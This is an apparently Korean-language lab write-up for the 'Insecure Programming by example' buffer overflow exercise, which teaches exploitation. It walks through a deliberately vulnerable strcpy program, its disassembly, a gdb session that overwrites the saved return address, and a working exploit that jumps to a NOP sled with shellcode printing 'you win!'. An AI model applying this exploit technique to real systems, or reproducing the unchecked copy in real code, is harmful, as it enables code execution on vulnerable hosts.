Insecure Programming by example
Advanced Buffer Overflow 1
int main(int argv,char **argc) {
char buf[256];
strcpy(buf,argc[1]);
}
Advanced Buffer Overflow 첫 번째 문제는 사용자 인자 값 검증 없이 버퍼에 strcpy()
함수로 복사하여 발생되는 오버플로우 예이다. 먼저 objdump
를 이용하여 어셈블리어를 살펴보자.
# objdump -d -M intel ./abo1 | grep -A 16 "<main>"
08048374 <main>:
8048374: 55 push ebp
8048375: 89 e5 mov ebp,esp
8048377: 81 ec 18 01 00 00 sub esp,0x118
804837d: 83 e4 f0 and esp,0xfffffff0
8048380: b8 00 00 00 00 mov eax,0x0
8048385: 29 c4 sub esp,eax
8048387: 8b 45 0c mov eax,DWORD PTR [ebp+12]
804838a: 83 c0 04 add eax,0x4
804838d: 8b 00 mov eax,DWORD PTR [eax]
804838f: 89 44 24 04 mov DWORD PTR [esp+4],eax
8048393: 8d 85 f8 fe ff ff lea eax,[ebp-0x108]
8048399: 89 04 24 mov DWORD PTR [esp],eax
804839c: e8 ff fe ff ff call 80482a0 <strcpy@plt>
80483a1: c9 leave
80483a2: c3 ret
80483a3: 90 nop
strcpy()
함수의 인자 값으로 ebp-0x108
을 전달하는 것으로 보아 이 위치가 사용자 인자 값이 복사될 buf[256]
배열의 위치라는 것을 알 수 있다. 이제 파이썬으로 eip
를 0x62로 덮어쓰는 코드를 작성하여 gdb로 확인해보자.
# python -c "print 'a'*268+'b'*4" > arg
# gdb abo1
GNU gdb 6.6-debian
Copyright (C) 2006 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...
Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) b *main
Breakpoint 1 at 0x8048374
(gdb) r $(cat arg)
Starting program: /home/iamroot/workspace/abo/1/abo1 $(cat arg)
Breakpoint 1, 0x08048374 in main ()
(gdb) disas
Dump of assembler code for function main:
0x08048374 <main+0>: push %ebp
0x08048375 <main+1>: mov %esp,%ebp
0x08048377 <main+3>: sub $0x118,%esp
0x0804837d <main+9>: and $0xfffffff0,%esp
0x08048380 <main+12>: mov $0x0,%eax
0x08048385 <main+17>: sub %eax,%esp
0x08048387 <main+19>: mov 0xc(%ebp),%eax
0x0804838a <main+22>: add $0x4,%eax
0x0804838d <main+25>: mov (%eax),%eax
0x0804838f <main+27>: mov %eax,0x4(%esp)
0x08048393 <main+31>: lea 0xfffffef8(%ebp),%eax
0x08048399 <main+37>: mov %eax,(%esp)
0x0804839c <main+40>: call 0x80482a0 <strcpy@plt>
0x080483a1 <main+45>: leave
0x080483a2 <main+46>: ret
End of assembler dump.
(gdb) b *main+45
Breakpoint 2 at 0x80483a1
(gdb) c
Continuing.
Breakpoint 2, 0x080483a1 in main ()
(gdb) x/32x $ebp -16
0xbffff6c8: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff6d8: 0x61616161 0x62626262 0x00000000 0xbffff764
0xbffff6e8: 0xbffff770 0xb8001898 0x00000000 0x00000001
0xbffff6f8: 0x00000001 0x00000000 0xb7fd5ff4 0xb8000ce0
0xbffff708: 0x00000000 0xbffff738 0x40f5f6e0 0x48e0ee81
0xbffff718: 0x00000000 0x00000000 0x00000000 0xb7ff9300
0xbffff728: 0xb7eaeded 0xb8000ff4 0x00000002 0x080482b0
0xbffff738: 0x00000000 0x080482d1 0x08048374 0x00000002
(gdb) info f
Stack level 0, frame at 0xbffff6e0:
eip = 0x80483a1 in main; saved eip 0x62626262
Arglist at 0xbffff6d8, args:
Locals at 0xbffff6d8, Previous frame's sp is 0xbffff6e0
Saved registers:
ebp at 0xbffff6d8, eip at 0xbffff6dc
이제 stack5에서 만들었던 머신 코드를 이용하여 “you win!” 구문을 출력해보자.
# export test=`python -c "print '\x90'*300+'\xeb\x14\x31\xc0\x31\xdb\x31\xd2\xb0\x04\xb3\x01\x59\xb2\x09\xcd\x80\x31\xc0\x40\xcd\x80\xe8\xe7\xff\xff\xff\x79\x6f\x75\x20\x77\x69\x6e\x21'"`
# ./get test
The address of test is 0xbffffd6e
# ./abo1 "$(python -c "print 'A'*268+'\x6e\xfd\xff\xbf'")"
you win!
전체 목록 보기 : Insecure programming
진행 환경 :# cat /proc/version
Linux version 2.6.20-15-generic (root@palmer) (gcc version 4.1.2 (Ubuntu 4.1.2-0ubuntu4)) #2 SMP Sun Apr 15 07:36:31 UTC 2007`